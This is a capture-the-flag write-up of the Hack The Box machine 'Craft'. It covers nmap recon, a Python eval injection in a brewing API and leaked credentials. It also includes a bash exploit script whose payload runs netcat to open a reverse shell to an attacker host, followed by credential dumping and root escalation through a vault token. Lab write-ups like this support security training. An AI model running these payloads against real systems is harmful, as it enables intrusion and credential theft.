HTB Reports: Craft


High-Level Summary


A quick scan with nmap will show the following results:

# nmap -p- -sV --open
Starting Nmap 7.80 ( ) at 2020-01-04 03:30 EST
Nmap scan report for
Host is up (0.025s latency).
Not shown: 64452 closed ports, 1080 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp  open  ssl/http nginx 1.15.8
6022/tcp open  ssh      (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 32.24 seconds

This is Craft homepage:

craft homepage

A look at the two links on the top right corner reveals the following virtual hosts:


We can add these two entries to the /etc/hosts file.

If we navigate to the api.craft.htb page, we can see a list of available API:

craft api list

While on the gogs.craft.htb we see the following:

craft gogs home

This is already a good indication about what we should do. API are likely buggy and the source code is available for review:

craft api source

We can navigate to the issues page and enjoy the reference to the TV show Silicon Valley:

craft gogs issues

As Gilfoyle is complaining about some shitty patch, we navigate to the relevant commit:

eval with user input

And the reason for Gilfoyle anger is immediately clear: there’s an eval with user controlled input. This means we can inject python code.

As we can see from the issue page, the /api/brew/ page needs a token and Dinesh token isn’t valid anymore.

Luckily enough, if we look at the commit history, we can find Dinesh plain text passwords:

Dinesh credentials

Using these credentials we can easily obtain an authentication token with the following command:

curl -s --user dinesh:4aUh0A8PbVJxgd https://api.craft.htb/api/auth/login -k

craft auth token

And we can use this token to test for RCE:

craft rce test

Once we confirm that we have RCE, we can put it all together to obtain our shell.

#!/usr/bin/env bash
# Credentials found in https://gogs.craft.htb/Craft/craft-api/commit/10e3ba4f0a09c778d7cec673f28d410b73455a86


# Retrieving auth token
TOK=$(curl -s --user $USER:$PASS $API$LOGIN -k | grep -i token | cut -d'"' -f4)
echo "Token: $TOK"

# Reverse target

# Inject into abv
PAYLOAD="__import__('os').system('nc -nv $LHOST $LPORT -e /bin/sh -i') or 10"

curl -k -H "X-Craft-API-Token: $TOK" -H "Content-Type: application/json" -X POST $API$BREW --data "{\"name\": \"Reverse Beer\", \"brewer\": \"Pentesters Abbey\", \"style\": \"FCK\", \"abv\": \"$PAYLOAD\"}"

craft reverse shell

Don’t be fooled by the root account, we are in a cage.

We can see a file named We can modify this file and guess the user table name:

modified dbtest

If we now run this script, we get a full set of credentials:

craft all credentials

Unfortunately none of these credentials is good for ssh login. But after some tries, turns out that Gilfoyle one works on the Gogs page. Inside Gilfoyle account, there’s a private repository with ssh keys:

gogs gilfoyle account

The ssh key asks for a passphrase, but this is the same of the Gogs password. We can therefore successfully login:

gilfoyle ssh login

Escalation to root is very direct. If we list Gilfoyle’s home, we find there’s an hidden .vault-token file:

gilfoyle home files

We can check what tokens are currently loaded:

vault tokens

Excellent, we have a token for root. We can use the following command to login using vault:

vault ssh -mode=otp root@

The system will generate a password for us that we can immediately use to login:

vault root login